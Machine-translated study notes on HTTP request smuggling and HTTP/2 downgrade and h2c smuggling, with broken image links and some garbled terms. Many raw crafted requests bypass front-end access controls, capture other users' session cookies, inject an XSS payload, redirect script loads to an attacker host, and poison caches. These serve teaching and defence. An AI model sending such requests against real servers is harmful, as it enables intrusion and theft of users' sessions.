Reference article:
https://www.anquanke.com/post/id/249446
https://www.anquanke.com/post/id/220996
https://www.anquanke.com/post/id/246516
https://paper.seebug.org/1048/
HTTP request smuggling
cause
Added keep-Alive and Pipeline in http 1.1
Knowledge point
1.
Content-Length <length>
The length of the message, in octets as a decimal number
2.
The Transfer-Encoding message header specifies the entity The form of encoding used for safe delivery to the user
chunked
Data is sent in a series of chunks
3.
Keep-Alive is a general message header that allows the sender of the message to indicate the state of the connection, and can also be used to set the timeout period and maximum number of requests
Add Connection to http request: Keep-Alive
After receiving this HTTP request, do not close the TCP connection, and reuse this TCP connection for subsequent HTTP requests to the same target server
Enabled by default in http 1.1
After keep-alive, there is Pipeline, which means that the client can send HTTP requests like a pipeline (emphasis)
The browser is not enabled by default, and the server provides support for Pipeline
4.
[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-Ez8P7Cr9-1653728635077)(…/image/1570691716000-Topology.png)]
Generally, the reverse proxy server and the backend server will reuse the TCP connection
When we send a relatively vague HTTP request to the proxy server, due to the different implementations of the two servers, the proxy server may think it is an HTTP request, and then forward it to the back-end origin server, but the origin server goes through After parsing and processing, only a part of it is considered as a normal request, and the remaining part is considered a smuggled request
GET request with CL not 0
All HTTP requests that do not carry a request body may be affected by this
Assuming that the front-end proxy server allows the GET request to carry the request body, but the back-end server does not allow the GET request to carry the request body, it will directly ignore the Content-Length header in the GET request and will not process it. This may lead to request smuggling
GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 44\r\n GET / secret HTTP/1.1\r\n Host: example.com\r\n \r\n
The front-end server receives the request, judges that it is a complete request by reading the Content-Length, and then forwards it to the back-end server. After the back-end server receives it, because it does not process the Content-Length, due to the existence of Pipeline, It thinks that it has received two requests, namely
First GET / HTTP/1.1\r\n Host: example.com\r\n the second GET / secret HTTP/1.1\r\n Host: example.com\r\n
CL-CL
When the request received by the server contains two Content-Length s, and the two values are different, it needs to return a 400 error
However, there are always servers that will not strictly implement this specification. It is assumed that the intermediate proxy server and the back-end origin server will not return a 400 error when receiving similar requests, but the intermediate proxy server will follow the first Content-Length. The value of the request is processed, and the back-end origin server is processed according to the value of the second Content-Length
POST / HTTP/1.1\r\n Host: example.com\r\n Content-Length: 8\r\n Content-Length: 7\r\n 12345\r\n a
The length of the data packet obtained by the intermediate proxy server is 8, the length of the data packet obtained by the back-end server is 7, and there is one letter a left in the buffer.
For the backend server, this a is part of the next request
So the second request
GET /index.html HTTP/1.1\r\n Host: example.com\r\n
became
aGET /index.html HTTP/1.1\r\n Host: example.com\r\n
Two Content-Length request packets are too ideal, and general servers will not accept such request packets with two request headers
CL-TE
If a request packet containing both Content-Length and Transfer-Encoding headers is received, Content-Length must be ignored during processing
The front-end proxy server only processes the Content-Length request header, while the back-end server will comply with RFC2616, ignore Content-Length, and process the Transfer-Encoding request header
POST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n G
Since the front-end server handles Content-Length, this request is a complete request for it, and the length of the request body is 6, which is
0\r\n \r\n G
When the request packet is forwarded to the back-end server through the proxy server, the back-end server processes the Transfer-Encoding. When it reads 0\r\n\r\n, it is considered to have read the end, but the remaining letters G is left in the buffer
So the next request
GPOST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n ......
TE-CL
When receiving a request packet with two request headers, the front-end proxy server processes the Transfer-Encoding request header, while the back-end server processes the Content-Length request header
POST / HTTP/1.1\r\n Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n Content-Length: 4\r\n Transfer-Encoding: chunked\r\n \r\n 12\r\n GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n
The front-end server processes the Transfer-Encoding. When it reads 0\r\n\r\n, it is considered that the reading is complete. At this time, the request is a complete request to the proxy server, and then forwarded to the backend. The server, the back-end server processes the Content-Length request header. When it reads 12\r\n, it considers the request to be over, and the following data is considered to be another request, that is,
GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n
TE-TE
When receiving a request packet with two request headers, both the front-end and back-end servers process the Transfer-Encoding request header, and the front-end and back-end servers are not the same
Some kind of obfuscation is performed on the Transfer-Encoding in the sent request packet so that one of the servers does not process the Transfer-Encoding request header. In a sense, it is still CL-TE or TE-CL.
POST / HTTP/1.1\r\n Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: en-US,en;q=0.5\r\n Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-encoding: cow\r\n \r\n 5c\r\n GPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n \r\n x=1\r\n 0\r\n \r\n
Looking for HTTP request smuggling
Discover CL.TE with ⏲ Timing Technology
When both the CL header and the TE header exist, if the length of the request packet body is greater than the length specified by the CL header, the request packet will only have the content within the length specified by the CL header, resulting in the back-end server waiting for subsequent processing because of the TE header processing. request packets, which will eventually cause a timeout
like
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A X
Discover CL.TE with ⏲ Timing Technology
If the body is two parts separated by a blank line, it will also cause only an incomplete request to be issued, causing the backend server to wait when receiving the request packet using the CL header until it times out, which can prove that there is a TE.CL vulnerability
POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6 0 X
Testing of Exploiting Timing Techniques for TE.CL Vulnerability May Disturb Other Application Users
Confirming HTTP Request Smuggling Using Response Differences
Send two requests, the first is a magic-modified request packet, and the second is a normal request, so that the first request can be used to interfere with the processing of the second request packet by the backend server
Identifying CL.TE Vulnerabilities Using Response Differences
Add a blank line after the end of the first request package and start writing the second request package
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling&x= 0 GET /404 HTTP/1.1 Foo: x
access the next request
GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
Identifying TE.CL Vulnerabilities Using Response Differences
POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0
access the next request
GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling
Exploiting HTTP Request Smuggling Vulnerability
The front-end of some application systems is configured with certain security controls to decide whether to allow requests to be forwarded to the back-end server. If the request passes the front-end security control, it will be unconditionally accepted by the back-end server. In this way, HTTP smuggling requests can be used. Send the malicious request packet to the back-end server in the normal request packet
For example, the front-end server prohibits forwarding /admin
POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com
It will be split into two request packets. The /admin requested by the second request packet is split out and forwarded successfully.
Bypassing front-end security controls with CL.TE
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-dznK2ouX-1653728706158)(…/image/t01df963c3c036674e7.png)]
Bypassing front-end security controls with TE.CL
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-gSXJtEUI-1653728706160)(…/image/t01c478f73e5fb2684b.png)]
Echo the process of the front-end rewriting the request
Some applications will rewrite the request before forwarding it to the backend server, such as
- Terminate the TLS connection and add some headers describing the protocol and encryption algorithm used
- Add an X-Forwarded-For header containing the user's IP address
- Determine the user ID based on the user session token and add a header identifying the user
- Add some sensitive information of interest to other attacks
Sometimes if the smuggling request lacks the header added by the front-end server, the smuggling request attack may fail, so we need to use some means to echo the way the front-end server rewrites, such as
- Look for a POST request that can feed the request's parameter values back into the response
- Move parameters so that they are fed back last in the message body
- Construct a smuggling request to the backend server, followed by a normal request to echo
such a request packet
POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net
The response will contain the following
<input id="email" value="wiener@normal-user.net" type="text">
The result of the rewrite can be obtained with an HTTP request smuggling attack, like this
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com ...
The request will be rewritten by the frontend server to include the extra headers, then the backend server will process the smuggled request and treat the rewritten second request as the value of the email parameter, like this
<input id="email" value="POST /login HTTP/1.1 Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ...
The last request is being rewritten and we don't know when it will end. The value in the CL header will determine when the backend server trusts the request. If the value is set too short, only partially rewritten requests will be received; if it is set too long, the backend server will time out waiting for the request to complete. The solution is to guess an initial value that is a bit larger than the submitted request, and then gradually increase the value until you have all the information
The request packet rewritten by the front-end will be fed back in the response, indicating that we have successfully obtained the field name used by the front-end server to specify the source IP through the HTTP request smuggling vulnerability, and we can forge the local user.
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-SFe0bzzC-1653728706160)(…/image/t01c1ff8e67c854ec3a.png)]
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-B0ir6Wyd-1653728706161)(…/image/t013c68cef1e7cffd33.png)]
echo steal other user requests
Some applications contain any functionality that allows the storage and retrieval of textual data, HTTP request smuggling can be exploited to steal requests from other users
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
We can smuggle data storage requests to the backend via HTTP request smuggling attack like this
GET / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 324 0 POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
When the backend server processes another user's request, it is appended to the smuggled request, and the resulting user's request is stored, including the victim user's session cookie s and any other sensitive data, like this
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1 Host: vulnerable-website.com Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj ...
[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-ebSqvOur-1653728706161)(…/image/t013b467f3f03a91245.png)]
[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-2MBfPLGr-1653728706162)(…/image/t0170d652db42e38907.png)]
Trigger reflex xss
advantage
- It does not require interaction with the victim user
- It can be used to exploit XSS in certain parts of the request, such as in HTTP request headers
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: <script>alert(1)</script> Foo: X
The next user's request will be appended to the smuggled request, and the reflected XSS payload will be received in the response
Using HTTP request smuggling to turn in-page redirects into open redirects
GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/
This is an in-page redirect request, but we can use HTTP request smuggling to redirect it to any other domain, such as
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X
Subsequent requests will be affected like this
GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
Here, the user is requesting a JS file imported by a page on the website, the attacker can completely compromise the victim user by returning their own JS in the response
Using HTTP request smuggling to launch web cache poisoning
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com
The smuggled request reaches the backend server, which responds with an open redirect as before. The server will cache the response from /static/include.js.
GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
When other users request this URL, they will receive a redirect to the attacker's website
Web Cache Spoofing Using HTTP Request Smuggling
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X
The next request from another user forwarded to the backend server will be appended to the smuggled request, including the session cookie and other headers
GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ...
The server will cache the response of /static/some-image.png, and the attacker can also receive this cache
GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ... <h1>Your private messages</h1> ...
But this attack requires a large number of requests to be successful
HTTP/2 downgrade smuggling
produce
In HTTP/1, the length of each message body is represented by Content-Length or Transfer-Encoding headers. In HTTP/2, these headers are redundant because binary streams are used for transmission, and there is no text. The concept of the message, the content of the message is transmitted by the data frame (Data Frame)
Downgrade smuggling occurs when the anti-generation server uses HTTP/2, but the backend server uses HTTP/1.1 to receive CL or TE requests
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-UZYcMFFO-1653728740790)(…/image/t014915453b70bec0ae.png)]
Converting to HTTP/1.1 becomes
POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
There can be CL in HTTP/2, but if the value of Content-Length is inconsistent with the length of DATA frame, it should be regarded as a format error, and the intermediary server must not forward it
H2.CL
:method POST :path /n Content-Length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
followed by one
:method GET :path /anything :authority netflix.com
become
POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: barGET /anything HTTP/1.1 Host: www.netflix.com
POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcd GET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: barGET /anything HTTP/1.1 Host: www.netflix.com
Causes the second request to be spliced by the first request to generate an error, similar to CL-TE in HTTP/1.1
H2.TE
header name injection
HTTP/2 does not allow TE fields, you need to add \r\n for TE injection
[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-eRXvBVSX-1653728740791)(…/image/t0192b5711192353750.png)]
After converting HTTP/1.1, the packet is
GET / HTTP/1.1 foo: bar transfer-encoding: chunked host: ecosystem.atlassian.net
example:
:method POST :path /identitfy/XUI :authority id.b2b.oath.com foo:bar chunked transfer-encoding 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Not finished, splicing the next request
Herder injection
[External link image transfer failed, the source site may have an anti-leech mechanism, it is recommended to save the image and upload it directly (img-5ojmTFEQ-1653728740791)(…/image/t01c5dad6a22ce1af79.png)]
By converting, its HTTP/1.1 request is
POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 77\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
HTTP/2 stipulates that any request or response containing characters that are not allowed in the header field value (CRLF,0x0) must be considered as malformed, but not many middleware comply with this requirement
request line injection
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-AdHhSDv7-1653728740791)(…/image/t015d5957aafa566c74.png)]
Inject the smuggling request directly into the method
GET / HTTP/1.1 transfer-encoding: chunked x: x /ignored HTTP/1.1 Host: eco.atlassian.net
H2.X
[External link image transfer failed, the source site may have anti-leech mechanism, it is recommended to save the image and upload it directly (img-Hb3sL60i-1653728740792)(…/image/t015e2bf61ed5102932.png)]
GET / HTTP/1.1 Foo: bar Host: ecosystem.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x Host: ecosystem.atlassian.net\r\n \r\n
HTTP/H2C request smuggling
h2c: the identifier for HTTP/2 HTTP
h2: the identifier for HTTP/2 HTTPS
The proxy forwards h2c to the backend over TLS for protocol upgrade, in a reverse proxy server environment, the backend server only knows whether the client is Cleartext or TLS (with identities such as h2c and h2), so it determines the TLS connection as HTTP, and Create a TCP Tunnel on the TLS connection. Since the client is not HTTP, it can still use the existing connection through TLS. It is not affected by the ACL policy of the Proxy. The request in the TCP Tunnel can perform HTTP operations, so it can access blocked resource
process:
1. Client sends HTTP/1.1 upgrade request to reverse proxy (wrong headers sent)
2. The proxy forwards the request to the backend, which returns a 101 Swiching protocol response and is ready to receive HTTP/2 communications
3. When the proxy receives a 101 response from the backend server, a TCP tunnel will be created
4. When the client receives a 101 response from the proxy, it will re-use the existing TCP connection and perform HTTP/2 initialization
5. The client uses HTTP/2 multiplexing to send illegal requests for restricted resources
6. Since the proxy server does not monitor TCP traffic (HTTP pass-through policy), it illegally requests to send to restricted pages
7. The server responds and forwards it to the TLS tunnel for smuggling